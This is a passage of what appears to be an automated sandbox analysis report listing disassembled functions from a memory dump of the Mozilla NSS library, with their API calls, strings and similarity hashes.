Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: a221b7da2eb80dd12c88f6d2e951aed637dbff3cb33885513ca2178a2af39c11
Instruction ID: 4594de8279af5412c985bc6c338aae02566d7d3c9f4a2ed7b5df3b81bc3ca05a
Opcode Fuzzy Hash: a221b7da2eb80dd12c88f6d2e951aed637dbff3cb33885513ca2178a2af39c11
Instruction Fuzzy Hash: C3417BB1A09611CFCB10AFB8D8881A9BBF4BF06318B054669D89897B15EB70DC85CBD5

Function 6C837CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C837CE0

Part of subcall function 6C7E9BF0: TlsGetValue.KERNEL32(?,?,?,6C830A75), ref: 6C7E9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C837D36
PR_Realloc.NSS3(?,00000080), ref: 6C837D6D
PR_GetCurrentThread.NSS3 ref: 6C837D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C837DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C837DD8
malloc.MOZGLUE(00000080), ref: 6C837DF8
PR_GetCurrentThread.NSS3 ref: 6C837E06

Strings

:%s:%d:0x%lx, xrefs: 6C837DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C837DF0

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 845f86817d18bd9057d70a0bcf9f4d1720fa8b7f391bc3e77d5b77f0572a5168
Instruction ID: 58c60ea7b0e0c9fa9e80d5a9be22e6a80f365a92f9b5d1078ab105659681da6a
Opcode Fuzzy Hash: 845f86817d18bd9057d70a0bcf9f4d1720fa8b7f391bc3e77d5b77f0572a5168
Instruction Fuzzy Hash: 8F41D4B1900215DFDB14CF68CF8496A37A6BF85319B15692CE81D8BB51D731E811CBE1

Function 6C744E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C744E90
EnterCriticalSection.KERNEL32 ref: 6C744EA9
TlsGetValue.KERNEL32 ref: 6C744EC6
EnterCriticalSection.KERNEL32 ref: 6C744EDF
PL_HashTableLookup.NSS3 ref: 6C744EF8
PR_Unlock.NSS3 ref: 6C744F05
PR_Now.NSS3 ref: 6C744F13
PR_Unlock.NSS3 ref: 6C744F3A

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

Strings

bUtl, xrefs: 6C744E5C
bUtl, xrefs: 6C744F3F

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUtl$bUtl
API String ID: 326028414-772124833
Opcode ID: 687724d3e471ce764f2f897cba6b3246667431fa76c086c5ad814839c74ac26d
Instruction ID: 2cf4d9abd572cb93a12cab3199dec9656eab456571947ad3b19f199c3d4bcdf5
Opcode Fuzzy Hash: 687724d3e471ce764f2f897cba6b3246667431fa76c086c5ad814839c74ac26d
Instruction Fuzzy Hash: 87416BB4A04615DFCB11EF78C1888AABBF0FF49308B058569EC999B711EB30E855CBD1

Function 6C76ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C76DE64), ref: 6C76ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C76ED22

Part of subcall function 6C77B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8518D0,?), ref: 6C77B095

PL_FreeArenaPool.NSS3(?), ref: 6C76ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C76ED6B
PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C76ED38

Part of subcall function 6C6A4C70: TlsGetValue.KERNEL32(?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4C97
Part of subcall function 6C6A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CB0
Part of subcall function 6C6A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C76ED52
PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C76ED83
PL_FreeArenaPool.NSS3(?), ref: 6C76ED95
PL_FinishArenaPool.NSS3(?), ref: 6C76ED9D

Part of subcall function 6C7864F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C78127C,00000000,00000000,00000000), ref: 6C78650E

Strings

security, xrefs: 6C76ED06

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 11fe5fe796593a228d43b09cae46f5379df6e08ff9b2785ff2c310d3d0d916b7
Instruction ID: eff3f395bf31c286fbbf642958c0139cf1d4c56772b1bddd04df0fb8313d2029
Opcode Fuzzy Hash: 11fe5fe796593a228d43b09cae46f5379df6e08ff9b2785ff2c310d3d0d916b7
Instruction Fuzzy Hash: E71105769012187BEA205666EE4DBBF7278AF0274CF000934ED1562F41FB29A70CD6F6

Function 6C752CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C752CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C752D07

Part of subcall function 6C8309D0: PR_Now.NSS3 ref: 6C830A22
Part of subcall function 6C8309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C830A35
Part of subcall function 6C8309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C830A66
Part of subcall function 6C8309D0: PR_GetCurrentThread.NSS3 ref: 6C830A70
Part of subcall function 6C8309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C830A9D
Part of subcall function 6C8309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C830AC8
Part of subcall function 6C8309D0: PR_vsmprintf.NSS3(?,?), ref: 6C830AE8
Part of subcall function 6C8309D0: EnterCriticalSection.KERNEL32(?), ref: 6C830B19
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C830B48
Part of subcall function 6C8309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C830C76
Part of subcall function 6C8309D0: PR_LogFlush.NSS3 ref: 6C830C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C752D22

Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(?), ref: 6C830B88
Part of subcall function 6C8309D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C830C5D
Part of subcall function 6C8309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C830C8D
Part of subcall function 6C8309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830C9C
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(?), ref: 6C830CD1
Part of subcall function 6C8309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C830CEC
Part of subcall function 6C8309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830CFB
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C830D16
Part of subcall function 6C8309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C830D26
Part of subcall function 6C8309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830D35
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C830D65
Part of subcall function 6C8309D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C830D70
Part of subcall function 6C8309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C830D90
Part of subcall function 6C8309D0: free.MOZGLUE(00000000), ref: 6C830D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C752D3B

Part of subcall function 6C8309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C830BAB
Part of subcall function 6C8309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830BBA
Part of subcall function 6C8309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C752D54

Part of subcall function 6C8309D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C830BCB
Part of subcall function 6C8309D0: EnterCriticalSection.KERNEL32(?), ref: 6C830BDE
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(?), ref: 6C830C16

Strings

slotID = 0x%x, xrefs: 6C752D02
pPin = 0x%p, xrefs: 6C752D1D
C_InitToken, xrefs: 6C752CE7
pLabel = 0x%p, xrefs: 6C752D4F
ulPinLen = %d, xrefs: 6C752D36

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 712e430cf55f90c3e25b734a34312aaa28a0e524923633b566efa607c1b02742
Instruction ID: d9778a2049ebe63e42b73a06119af8f5e1896a2edb15e9eefbcf3f8bb74302ab
Opcode Fuzzy Hash: 712e430cf55f90c3e25b734a34312aaa28a0e524923633b566efa607c1b02742
Instruction Fuzzy Hash: 8021C776203248AFDB309B58DF8DA593BB5EB4331DF858430E50893B22DB749828DBD1

Function 6C830EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C712357), ref: 6C830EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C712357), ref: 6C830EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C830EE6

Part of subcall function 6C8309D0: PR_Now.NSS3 ref: 6C830A22
Part of subcall function 6C8309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C830A35
Part of subcall function 6C8309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C830A66
Part of subcall function 6C8309D0: PR_GetCurrentThread.NSS3 ref: 6C830A70
Part of subcall function 6C8309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C830A9D
Part of subcall function 6C8309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C830AC8
Part of subcall function 6C8309D0: PR_vsmprintf.NSS3(?,?), ref: 6C830AE8
Part of subcall function 6C8309D0: EnterCriticalSection.KERNEL32(?), ref: 6C830B19
Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C830B48
Part of subcall function 6C8309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C830C76
Part of subcall function 6C8309D0: PR_LogFlush.NSS3 ref: 6C830C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C830EFA

Part of subcall function 6C71AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C71AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C830F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C830F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C830F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C830F2B

Strings

Aborting, xrefs: 6C830EB3
Assertion failure: %s, at %s:%d, xrefs: 6C830ED9, 6C830EE5, 6C830F06, 6C830F0B

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: d82d0a56ceae790b86148dd6cf181a8abf3b2ac577c125d9039510b00c875a58
Instruction ID: a26492cdb78879fe17c2ef4a3cd8d21a2b0609dee93d281a056904477590e147
Opcode Fuzzy Hash: d82d0a56ceae790b86148dd6cf181a8abf3b2ac577c125d9039510b00c875a58
Instruction Fuzzy Hash: CCF0D1B59001287BDA212BA19E4EC8F3E2DDF52268F004430FD0956603EA75E91896F2

Function 6C794DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C794DCB

Part of subcall function 6C780FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7287ED,00000800,6C71EF74,00000000), ref: 6C781000
Part of subcall function 6C780FF0: PR_NewLock.NSS3(?,00000800,6C71EF74,00000000), ref: 6C781016
Part of subcall function 6C780FF0: PL_InitArenaPool.NSS3(00000000,security,6C7287ED,00000008,?,00000800,6C71EF74,00000000), ref: 6C78102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C794DE1

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C794DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C794E59

Part of subcall function 6C77FAB0: free.MOZGLUE(?,-00000001,?,?,6C71F673,00000000,00000000), ref: 6C77FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C85300C,00000000), ref: 6C794EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C794EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C794F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C79521A

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 1f11e031fa1fae851083102b08f63b782d2d03e82a502506aa597e60e284459c
Instruction ID: e1a6462bda5f4259499316799633bc30df45235f5b920f42f2bdb488c9a2f140
Opcode Fuzzy Hash: 1f11e031fa1fae851083102b08f63b782d2d03e82a502506aa597e60e284459c
Instruction Fuzzy Hash: 64F19D71E0120ACFDB04CF58E9407AEB7B2BF44359F258229E915AB781E775E981CB90

Function 6C6C2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6C2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C6C2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C6C3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6C3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6C3178

Strings

%s at line %d of [%.10s], xrefs: 6C6C3171
database corruption, xrefs: 6C6C316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6C3022, 6C6C3156, 6C6C3162, 6C6C318A, 6C6C3196, 6C6C31A2, 6C6C31AE, 6C6C31BA, 6C6C31C6

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 4b1f7e2df0088a24dfa72e4d055fe0fd64a6a73182a9421c0c59bd8ef969cdba
Instruction ID: 8b30aae6a4bb2a74cf92633fc8919df68b3f0343df70467b917dbbf8193a9295
Opcode Fuzzy Hash: 4b1f7e2df0088a24dfa72e4d055fe0fd64a6a73182a9421c0c59bd8ef969cdba
Instruction Fuzzy Hash: B3B19CB0F052199FCB18CF9DC885AEEB7B1FB48304F148429E849B7B45D374A845CBA9

Function 6C73FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C73FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C73FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C73FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C73FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C73FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C73FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C73FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C73FD84

Strings

:, xrefs: 6C73FD78

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 13646b5c4beb079d8d157c8a4677b43d5179d77fc881e27308d1a80689715688
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 523126B2D012295BEB118BA4DE1A7AF77A8AF40398F151474DC1CA7B02E371E908C7D2

Function 6C756C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C756C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C756C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C756CA3

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C756CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C756CD5

Strings

C_DigestInit, xrefs: 6C756C61
(CK_INVALID_HANDLE), xrefs: 6C756C9C
hSession = 0x%x, xrefs: 6C756C7E, 6C756C8E
pMechanism = 0x%p, xrefs: 6C756CD0

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 6fd0f86aeb53770fc6808529e1b97b1f78366cc69250d22f0cd43f8c829cbc98
Instruction ID: d2cf3a96249879455c989acbb0973d747f6976ff3540cc7f4e73fa632a941c96
Opcode Fuzzy Hash: 6fd0f86aeb53770fc6808529e1b97b1f78366cc69250d22f0cd43f8c829cbc98
